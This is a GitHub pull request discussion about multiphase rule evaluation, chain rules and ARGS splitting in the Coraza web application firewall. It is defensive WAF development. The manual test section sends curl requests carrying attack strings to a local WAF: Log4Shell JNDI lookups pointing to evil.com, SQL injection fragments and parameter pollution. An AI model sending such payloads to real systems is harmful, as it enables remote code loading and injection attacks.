Multiphase: chains further support, ARGS split, CRS like tests

[M4tteoP]

PR built on top of #692.

This PR wants to create a suitable ground for further reasoning about Multiphase evaluation and how to implement it by looking at some of the problems found at once:

• Proposes a Fix for Multiphase evaluation with chains.
• Fixes Skip and SkipAfter logic (it does not have to overflow over the current phase) (could be moved to another PR).
• Adds coverage checks for Multiphase (once both these tests and CRS will work we might have a better guarantee that Multiphase is working fine)
• Comments with the reasoning about all the tests that are currently failing (when running with multiphase enabled).

@anuraaga @jcchavezs

[jcchavezs]

@M4tteoP Do you mind rebasing?

[anuraaga]

Some ideas.

We should keep in mind that in the end, our main target is CRS so optimizing the behavior for CRS while still correctly handling rules is OK.

Bluntest hammer: disable multiphase evaluation if any rule contains an allow action. AFAICT, CRS does not contain any allow actions, which makes senes, and is why FTW is working I guess.

It's too blunt I guess, the main reason for allow would be for users to be able to override CRS behavior for their unique needs.

So if we can come up with a user experience that provides this and document it, and return errors otherwise, then it could be OK.

For example, implement the following type of rules

Multiphase is enabled if allow actions are only in phase 1
Multiphase is enabled if allow actions are only in the lowest-priority rules of a given phase (we could change our inferrence to only allow upgrading phase 2 to phase 1, phase 4 to phase 3, rather than having e.g. phase 3 upgrade to phase 1, that doesn't seem to have much use case)
...any other condition that seems to make sense

We should be able to detect cases where these don't hold and return a configuration error with guidance on how configs can be tweaked to define an allow rule that works with multiphase.

This may not allow bypassing every single situation - I think the above would not allow a request body to contain a log4shell string, and to also contain the string IAmSafe and be allowed by a rule as log4shell would always win. An obvious solution to this that respects ordering between allow/deny doesn't come to mind - but I don't know if this is useful enough to worry, as long as we return a configuration error rather than ignoring, it should be OK. I would suspect the vast majority of allow to be in phase 1, based on headers/cookies? Don't know but basically if the cases we can't enable multiphase for are corner cases, it should be OK, we just have to make sure we tell the user why when we can't.

Does it seem possible?

[codecov]

Codecov Report

Patch coverage: 79.75% and project coverage change: +0.50 🎉

Comparison is base (850e838) 81.96% compared to head (52a2f6f) 82.46%.

Additional details and impacted files

@@            Coverage Diff             @@
##           v3/dev     #719      +/-   ##
==========================================
+ Coverage   81.96%   82.46%   +0.50%     
==========================================
  Files         153      154       +1     
  Lines        8256     8463     +207     
==========================================
+ Hits         6767     6979     +212     
+ Misses       1272     1263       -9     
- Partials      217      221       +4     

Flag	Coverage Δ
default	76.50% <26.00%> (-1.74%)	⬇️
examples	25.82% <22.50%> (+<0.01%)	⬆️
ftw	48.14% <24.25%> (-1.05%)	⬇️
ftw-multiphase	50.34% <73.50%> (+1.03%)	⬆️
tinygo	75.58% <25.50%> (-1.83%)	⬇️

Flags with carried forward coverage won't be shown. Click here to find out more.

Impacted Files	Coverage Δ
internal/corazawaf/rule_multiphase.go	75.17% <75.17%> (ø)
internal/corazawaf/rule.go	95.60% <90.62%> (+15.43%)	⬆️
internal/corazarules/rule_match.go	51.42% <100.00%> (+0.94%)	⬆️
internal/corazawaf/rulegroup.go	94.33% <100.00%> (+0.37%)	⬆️

... and 1 file with indirect coverage changes

☔ View full report in Codecov by Sentry.
📢 Do you have feedback about the report comment? Let us know in this issue.

[M4tteoP]

This PR now provides the following:

• Support chain rules for multiphase evaluation (being on top of Support chain rules for multiphase evaluation #692)
• mage coverage tests are now also running against Coraza with Multiphase evaluation enabled. It required tweaking some tests (e.g. avoiding using ARGS or changing variables, not anything impactful to the test itself).
  Few files have been excluded from multiphase evaluation and they are: allow.go, skip.go,
• Added Multiphase specific tests: checking for some bypasses denied thanks to rules anticipated by multiphase.
• ARGS and ARGS_NAMES are now splitted at Parsing time into: ARGS_GET/ARGS_POST and ARGS_GET_NAMES/ARGS_POST_NAMES

Fixes/Changes:

• Variables that are part of a chain can now be evaluated more than once. It permits keeping the chain condition achievable not only at the inferred phase, but also at the phase defined by the user.
• Added a condition to evaluate chained rules with multiphase enabled if chainMinPhase <= phase

I moved all the reasonings out of the PR into this gist. As we agreed, I meanly focused on Multiphase evaluation with CRS.

Please take a deep look if it seems right 🙏 @anuraaga @jcchavezs

[anuraaga]

As we agreed, I meanly focused on Multiphase evaluation with CRS.

Is there anything known after this PR that we expect could be a problem when not using CRS?

[jcchavezs]

I think before merging this we should test it in proxy wasm to see if we can fix the bypass.

[M4tteoP]

While doing some manual tests with Envoy I found that we were trying to evaluate Chained rules too much, in certain circumstances bypassing also paranoia levels.
I refactored a bit the way we compute chainMinPhase. Now the chainMinPhase is the latest minPhase across all the chained rules.

For example:

SecRule REQUEST_URI "/chain_phase2" "id:10, phase:2, t:none, log, setvar:'tx.set1=1', chain"
	SecRule REQUEST_URI "/chain_phase2" "setvar:'tx.set2=2', chain"
		SecRule REQUEST_BODY "chain_phase2" "setvar:'tx.set3=3'" 

Here I think that REQUEST_BODY is the "bottle neck" of this chain, therefore it is the chainMinPhase. Without being able to evaluate it, the chain will never match.

[M4tteoP]

The first idea was relying on a mask (looking at the example like 00000111), but I found that the code was becoming more cryptic, with supported variables. I went for the small loop.
Happy if any better implementation can be done without too many byzantine bit tricks

[M4tteoP]

Here I added yet another control to reduce chained rules evaluated at impossible times. hasOrMinor is an extended way to look at the inferredPhases of the parent rule, returning true not only if the specific phase is inferred, but also if any other previous phase was already an inferred phase.
For example:

SecRule REQUEST_URI "/chain_phase2" "id:10, phase:2, t:none, log, setvar:'tx.set1=1', chain"
	SecRule REQUEST_BODY "chain_phase2" "setvar:'tx.set2=2', chain"
		SecRule REQUEST_BODY "chain_phase2" "setvar:'tx.set3=3'" 

Even if the parent rule has a single variable at phase:1, during phase 2 these rule has to be considered ready to be evaluated again participating in the match of the whole chain.
Vice versa, if the parent rule has variables that are not yet ready, there is no point in evaluating the chain because it will never match (this is the control enforced here).

The only exception I see, and I don't like much making these checks even more complex, is when a PhaseUnknown variable is the only variable in place. (Eg see 920250). This is the reason why I had to add the withPhaseUnknownVariable boolean.

[M4tteoP]

I think before merging this we should test it in proxy wasm to see if we can fix the bypass.

I ran some manual requests based on https://github.com/M4tteoP/coraza-proxy-wasm/tree/multiphase. Results seem pretty good: both simple and chained rules are getting anticipated, also thanks to the ARGS splitting.

Some requests outputs:
▶ curl 'http://localhost:8080/' -H 'User-Agent:ua${jndi:ldap://evil.com/webshell}'
Triggered: 944150
Before: ❌ Transaction interrupted at phase="http_response_headers"
After: ✅ Simple rule anticipated at phase 1
Transaction interrupted tx_id="WDfIlraBKoEdwVPiGbN" context_id=6 action="deny" phase="http_request_headers"

▶ curl 'http://localhost:8080/' --data 'foo=${jndi:ldap://evil.com/webshell}'
Triggered: 932130 - 944150
Before: ✅ Transaction interrupted at phase="http_request_body"
After: ✅ Correctly handled at phase 2
Transaction interrupted tx_id="BFYpgUeNTfdcYOWINih" context_id=3 action="deny" phase="http_request_body"

▶ curl 'http://localhost:8080/get?a=1=1'
Triggered: 942130
Before: ❌ Transaction interrupted at phase="http_response_headers"
After: ✅ Chained rule anticipated at phase 1
Transaction interrupted tx_id="mzDYCbRznhEgXUFePyJ" context_id=2 action="deny" phase="http_request_headers"

▶ curl 'http://localhost:8080/' --data 'a=1=1'
Triggered: 942130 (PL2)
Before: ✅ Transaction interrupted at phase="http_request_body"
After: ✅ Correctly handled at phase 2
Transaction interrupted tx_id="ziZldIqeaDvSHkijJOp" context_id=3 action="deny" phase="http_request_body"

▶ curl 'http://localhost:8080/login.php?jsessionid=74B0CB414BD77D17B5680A6386EF1666'
Triggered: 943120
Before: ❌ Transaction interrupted at phase="http_response_headers"
After: ✅ Chained rule anticipated at phase 1
Transaction interrupted tx_id="ZBKNBDNmxPHXsKWUBJy" context_id=3 action="deny" phase="http_request_headers"

▶ curl 'http://localhost:8080/post?var=DROP%20sampletable%3b--'
Triggered: 942440
Before: ❌ Transaction interrupted at phase="http_response_headers"
After: ✅ Chained rule anticipated at phase 1
Transaction interrupted tx_id="uqZYSEgSrqrftrRASpy" context_id=2 action="deny" phase="http_request_headers"

▶ curl 'http://localhost:8080/?pineapple=pizza&pineapple=aint-pizza&pineapple=is-pizza&pineapple=aint-pizza2'
Triggered: 921180 (PL3)
Before: ❌ Transaction interrupted at phase="http_response_headers"
After: ✅ Chained rule anticipated at phase 1.
Transaction interrupted tx_id="bLElZRvbJeTGjWraArK" context_id=2 action="deny" phase="http_request_headers".

I also updated the gist with known problems and reasonings. The main concern that I currently see is about Multiple evaluations of the same variables on more than one phase. Chained rules anticipated and triggered in a previous phase, then will match again in the next phase. Please look at the gist for details and a related test. @anuraaga @jcchavezs

[jcchavezs]

I would merge this as it is. However one things which drives me crazy is that this package (before changes) is already poorly tested. I tried to add some more coverage before merging this but did not have enough time. If I none (in case someone is in) adds more coverage to this package pre this PR let's just merge it tomorrow.

[jcchavezs]

Could you please give it another review @anuraaga?